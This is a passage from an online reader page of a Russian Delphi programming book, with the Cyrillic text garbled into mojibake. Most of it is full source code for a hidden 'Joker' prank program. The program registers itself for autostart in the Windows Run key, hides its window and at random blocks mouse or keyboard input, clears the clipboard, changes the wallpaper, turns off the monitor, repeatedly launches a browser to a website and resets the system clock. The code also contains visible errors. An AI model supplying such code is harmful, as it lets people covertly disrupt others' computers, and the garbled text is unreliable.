Π§ΠΈΡ‚Π°ΠΉΡ‚Π΅ ΠΊΠ½ΠΈΠ³ΠΈ ΠΎΠ½Π»Π°ΠΉΠ½ Π½Π° Bookidrom.ru! БСсплатныС ΠΊΠ½ΠΈΠ³ΠΈ Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΊΠ»ΠΈΠΊΠ΅

Π§ΠΈΡ‚Π°Ρ‚ΡŒ ΠΎΠ½Π»Π°ΠΉΠ½ Β«Delphi. Учимся Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ…Β». Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° 22

Автор Π‘Π΅Ρ€Π³Π΅ΠΉ ΠŸΠ°Ρ€ΠΈΠΆΡΠΊΠΈΠΉ

unit Unit1;


interface


uses

 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, Registry, clipbrd, ShellApi;


type

 TForm1 = class(TForm)

 Timer1: TTimer;

 procedure Timer1Timer(Sender: TObject);

 procedure FormPaint(Sender: TObject);

 procedure FormCreate(Sender: TObject);

private

 { Private declarations }

public

 { Public declarations }

end;


var

 Form1: TForm1;

 //для ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ ΠΌΡ‹ΡˆΠΈ ΠΈ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹

 Dummy: integer = 0;

 OldKbHook: HHook = 0;

 //для снятия ΠΊΠΎΠΏΠΈΠΈ экрана

 Π’ΠœΠ 1: Graphics.TBitmap;

 DC1: HDC;

 Image1: TImage;

 // для поиска случайного рисунка

 fn: TSearchRec;

 Finds: integer;

 i: integer;

 endval: integer;

 err_str: string;//Π²Ρ‹Π²ΠΎΠ΄ ошибки

 tm: TSystemTime; //ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ

 reg: TRegistry; //для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с рССстром

 JokeNum: shortint; //Π½ΠΎΠΌΠ΅Ρ€ ΡˆΡƒΡ‚ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ слСдуСт Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ

 curs: TRect; //ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°


implementation


procedure SetWallpaper(sWallpaperBMPPath: String; bTile: boolean);

begin

 reg:= TRegistry.Create;

 reg.RootKey:= hkey_current_user;

 if reg.OpenKey('Control Panel\Desktop', True) then

  reg.WriteString('Wallpaper', sWallpaperBMPPath); {ΠΊΠ»ΡŽΡ‡ содСрТащий ΠΏΡƒΡ‚ΡŒ ΠΊ bmp-Ρ„Π°ΠΉΠ»Ρƒ}

 //Ρ€Π°ΡΡ‚ΡΠ½ΡƒΡ‚ΡŒ рисунок Π½Π° вСсь экран

 reg.WriteString('TileWallpaper', '1');

 with reg do begin

  WriteString('Wallpaper', sWallpaperBMPPath);

  if bTile then begin

   WriteString('TileWallpaper', '1');

  end

  else begin

   WriteString('TileWallpaper', '0');

  end;

 end;

 reg.Free;

 SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Nil, SPIF_SENDWININICHANGE);

end;


function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt; stdcall;

begin

 if code < 0 then

  Result:= CallNextHookEx(oldKbHook, code, wparam, lparam)

 else

  Result:= 1;

end;


{$R *.dfm}


procedure TForm1.Timer1Timer(Sender: TObject);

var

 JokeNum: shortint;

 curs: TRect;

begin

 JokeNum:= Random(10) + 1;

 case JokeNum of

  1: begin //Π£ΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ двиТСния ΠΌΡ‹ΡˆΠΈ

   curs := Rect(0, 0, Screen.Width div 2,Screen.Height);

   ClipCursor(Scurs);

  end;

  2: begin //ΠžΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΌΡ‹ΡˆΡŒ

  SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy,0);

  SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);

  OldKbHook:= SetWindowsHookEx(WH_mouse, @KbHook, HInstance, 0);

  end;

  3: begin //ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρƒ

   SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy, 0);

   SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);

   OldKbHook:= SetWindowsHookEx(WH_KEYBOARD, @KbHook, HInstance, 0);

  end;

  4: begin //ΠžΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ Π±ΡƒΡ„Π΅Ρ€ ΠΎΠ±ΠΌΠ΅Π½Π°

   ClipBoard.Open;//ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅ΠΌ Π±ΡƒΡ„Π΅Ρ€ ΠΎΠ±ΠΌΠ΅Π½Π°

   ClipBoard.Clear;//ΠΎΡ‡ΠΈΡ‰Π°Π΅ΠΌ Π±ΡƒΡ„Π΅Ρ€ ΠΎΠ±ΠΌΠ΅Π½Π°

   //ΠŸΠΎΠΌΠ΅Ρ‰Π°Π΅ΠΌ Π² Π±ΡƒΡ„Π΅Ρ€ ΠΎΠ±ΠΌΠ΅Π½Π° свой тСкст

   Clipboard.asText:= 'Π‘ΡƒΡ„Π΅Ρ€ ΠΎΠ±ΠΌΠ΅Π½Π° Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚!';

   ClipBoard.Close; //Π·Π°ΠΊΡ€Ρ‹Π²Π°Π΅ΠΌ Π±ΡƒΡ„Π΅Ρ€ ΠΎΠ±ΠΌΠ΅Π½Π°

  end;

  5: begin // ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ копию экрана ΠΈ Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ Π΅Ρ‘ Ρ„ΠΎΠ½ΠΎΠΌ

   Π’ΠœΠ 1:= Graphics.TBitmap.Create;

   //Π·Π°Π΄Π°Π΅ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ рисунка Ρ‚Π°ΠΊΠΈΠ΅ ΠΆΠ΅,ΠΊΠ°ΠΊ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ экрана

   BMP1.Height:= Screen.Height;

   BMP1.Width:= Screen.Width;

   DC1:=GetDC(0);

   //Π”Π΅Π»Π°Π΅ΠΌ копию экрана

   BitBlt(BMP1.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DC1, 0, 0, SRCCOPY);

   Form1.Visible:= True;//восстанавливаСм ΠΎΠΊΠ½ΠΎ нашСй ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹

   Image1:= TImage.Create(nil);

   BMP1.IgnorePalette:= True;

   Image1.Picture.Assign(BMP1);

   BMP1.SaveToFile('с:\1.bmp'); //сохраняСм снимок Π² Ρ„Π°ΠΉΠ» 1.bmp

   SetWallpaper('с:\1.bmp', False); //Π½Π°Π·Π½Π°Ρ‡Π°Π΅ΠΌ снимок, ΠΊΠ°ΠΊ Ρ„ΠΎΠ½

   Repaint; //обновляСм

  end;

  6: begin // Найти случайный рисунок ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π΅Π³ΠΎ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹ΠΌ

   endval:= Random(10) + 5; //для случайности Π²Ρ‹Π±ΠΎΡ€Π° рисунка

   //ΠΈΡ‰Π΅ΠΌ всС Ρ„Π°ΠΉΠ»Ρ‹ с Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ *.bmp Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ Windows

   Finds:= FindFirst('Π‘:\Windows\*.bmp', faAnyFile, fn);

   Finds:= Random(2); //случайноС число, 0 ΠΈΠ»ΠΈ 1

   //Ссли Π²Ρ‹ΠΏΠ°Π»Π° 1, Ρ‚ΠΎ устанавливаСм ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ попавшийся рисунок

   if Finds = 1 then SetWallpaper(fn.Name, False);

   if Finds = 0 then begin //иначС…

    for i:=1 to endval do begin

     Finds:= FindNext(fn); // …ищСм Π΄Ρ€ΡƒΠ³ΠΈΠ΅ рисунки

     //Π²Ρ‹Π±ΠΈΡ€Π°Π΅ΠΌ любой Π΄Ρ€ΡƒΠ³ΠΎΠΉ рисунок ΠΈ Π΄Π΅Π»Π°Π΅ΠΌ Π΅Π³ΠΎ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹ΠΌ

     if i = endval – 3 then SetWallpaper(fn.Name, False);

    end;

   end;

   FindClose(fn); //Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅ΠΌ поиск

  end;

  7: begin //Π’Ρ‹ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€

   SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 1);

  end;

  8: begin //Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅ ΠΎΠ± "ошибкС"

   for i:=1 to 200 do begin

    case i of

    //послС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ 25-Π³ΠΎ числа – пСрСнос Π½Π° Π½ΠΎΠ²ΡƒΡŽ строку

    25,50,75,100,125,150,175,199: err_str:= err_str + #13#10;

    end;

    //тСкст "ошибки"

    err_str:= err_str + IntToStr(Random(99999));

   end;

   MessageDlg(errstr, mtError, [mbOk], 0); //Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌ сообщСниС

  end;

  9: begin //Запуск Internet Explorer

   for i:=1 to Random(10)+ 5 do //случайноС число ΠΎΡ‚ 5 Π΄ΠΎ 15.

    ShellExecute(0, 'open', 'C:\Program Files\lnternet Explorer\' +

     'IEXPLORE.EXE', 'www.heel.nm.ru', 0, SW_MAXIMIZE);

  end;

 10: begin //ΠŸΠ΅Ρ€Π΅Π²Π΅ΡΡ‚ΠΈ врСмя

   GetLocalTime(tm); //ΡƒΠ·Π½Π°Π΅ΠΌ Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ Π΄Π°Ρ‚Ρƒ ΠΈ врСмя

   tm.wYear:= 2000; //устанавливаСм Π³ΠΎΠ΄

   tm.wMonth:= 01; //мСсяц

   tm.wDay:= 01; //дСнь

   tm.wHour:= 0; //часы

   tm.wMinute:= 0; //ΠΌΠΈΠ½ΡƒΡ‚Ρ‹

   tm.wSecond := 1; //сСкунды

   tm.wMilliseconds := 0; //мс

   SetLocalTime(tm); //устанавливаСм Π½ΠΎΠ²ΡƒΡŽ Π΄Π°Ρ‚Ρƒ ΠΈ врСмя

  end;

 end;

end;


procedure TForm1.FormPaint(Sender: TObject);

begin

 Form1.Hide; //прячСм Ρ„ΠΎΡ€ΠΌΡƒ

end;


procedure TForm1.FormCreate(Sender: TObject);

var

 reg:TRegistry;//пСрСмСнная для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с рССстром

 path: string;//содСрТит ΠΏΡƒΡ‚ΡŒ ΠΊ нашСй ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅

begin

 Randomize; //Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€ случайных чисСл

 //ΡƒΠ·Π½Π°Π΅ΠΌ ΠΏΡƒΡ‚ΡŒ ΠΊ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅ ΠΈ Π΅Π΅ имя

 path:= Application.EXEname;

 reg:= TRegistry.Create;//ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅ΠΌ рССстр

 //Π²Π΅Ρ‚ΠΊΠ° Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ

 reg.RootKey:= HKEY_CURRENT_USER;

 //ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π» Π°Π²Ρ‚ΠΎΠ·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ

 if reg.OpenKey('\Software\Microsoft\Windows\' +

  'CurrentVersion\Run', True)

 then begin

  //записываСм ссылку Π½Π° Π½Π°ΡˆΡƒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ Π² Π°Π²Ρ‚ΠΎΠ·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ

  reg.WriteString('Joker', path);

  reg.CloseKey;//Π·Π°ΠΊΡ€Ρ‹Π²Π°Π΅ΠΌ рССстр

  reg.Free;//освобоТдаСм ΠΏΠ°ΠΌΡΡ‚ΡŒ

 end;

end;


end.

⊚ ВсС Ρ„Π°ΠΉΠ»Ρ‹ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° ΠΈ исполняСмый Ρ„Π°ΠΉΠ» рассмотрСнной ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ находятся Π½Π° ΠΏΡ€ΠΈΠ»Π°Π³Π°Π΅ΠΌΠΎΠΌ ΠΊ ΠΊΠ½ΠΈΠ³Π΅ ΠΊΠΎΠΌΠΏΠ°ΠΊΡ‚-дискС Π² ΠΏΠ°ΠΏΠΊΠ΅ Chapter_14.

Π“Π»Π°Π²Π° 15

ΠžΡ‚ΠΏΡ€Π°Π²ΠΊΠ° сообщСний Π² локальной сСти

ΠŸΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΊΠ° Π·Π°Π΄Π°Ρ‡ΠΈ

Π Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ, которая Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ интСрфСйс для использования стандартной для Win2000/XP ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ сообщСний net send. Π”Π°Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ адрСс получатСля, тСкст сообщСния ΠΈ количСство отправляСмых сообщСний. Π’Π°ΠΊΠΆΠ΅ ΠΏΡ€Π΅Π΄ΡƒΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ установки Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ Π½Π° ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ сообщСний ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠ².

Π Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Ρ„ΠΎΡ€ΠΌΡ‹

Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Π½ΠΎΠ²Ρ‹ΠΉ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ Delphi. Π˜Π·ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Ρ„ΠΎΡ€ΠΌΡ‹ (свойство Caption) Π½Π° Net Sender. РазмСститС вдоль Π»Π΅Π²ΠΎΠ³ΠΎ края Ρ„ΠΎΡ€ΠΌΡ‹ ΠΎΠ΄ΠΈΠ½ Π½Π°Π΄ Π΄Ρ€ΡƒΠ³ΠΈΠΌ Ρ‚Ρ€ΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π° Label ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ Standard ΠΈ присвойтС ΠΈΡ… свойству Caption значСния IP-адрСс:, Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅: И ΠšΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²ΠΎ:.

Рядом с ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· ΠΌΠ΅Ρ‚ΠΎΠΊ размСститС ΠΏΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρƒ Edit ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ Standard. Π‘Π°ΠΌΡ‹ΠΉ Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ Π½Π°Π·ΠΎΠ²ΠΈΡ‚Π΅ ip (свойство Name), Π° свойству Text присвойтС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 192.168.0.1.; срСднСС ΠΏΠΎΠ»Π΅ Π½Π°Π·ΠΎΠ²ΠΈΡ‚Π΅ txt, Π° свойству Text присвойтС ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ тСкст сообщСния ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ; самоС Π½ΠΈΠΆΠ½Π΅Π΅ ΠΏΠΎΠ»Π΅ Π½Π°Π·ΠΎΠ²ΠΈΡ‚Π΅ how, Π° свойству Text присвойтС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 1.

Под пСрСчислСнными ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π°ΠΌΠΈ размСститС ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ Checkbox ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ Standard. ΠŸΡ€ΠΈΡΠ²ΠΎΠΉΡ‚Π΅ Π΅ΠΌΡƒ имя secure, свойству Caption присвойтС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠžΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠ΅ΠΌ сообщСний, Π° свойству Checked β€” Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ True.

Π’ самом Π½ΠΈΠ·Ρƒ Ρ„ΠΎΡ€ΠΌΡ‹ размСститС ΠΊΠ½ΠΎΠΏΠΊΡƒ (ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ Button ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ Standard), присвоив Π΅Π΅ свойству Caption Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Send. Π’Π°ΠΊΠΆΠ΅ Π½Π°ΠΌ понадобится Ρ‚Π°ΠΉΠΌΠ΅Ρ€ (ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ Timer ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ System), для ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ свойству Interval слСдуСт ΠΏΡ€ΠΈΡΠ²ΠΎΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 10.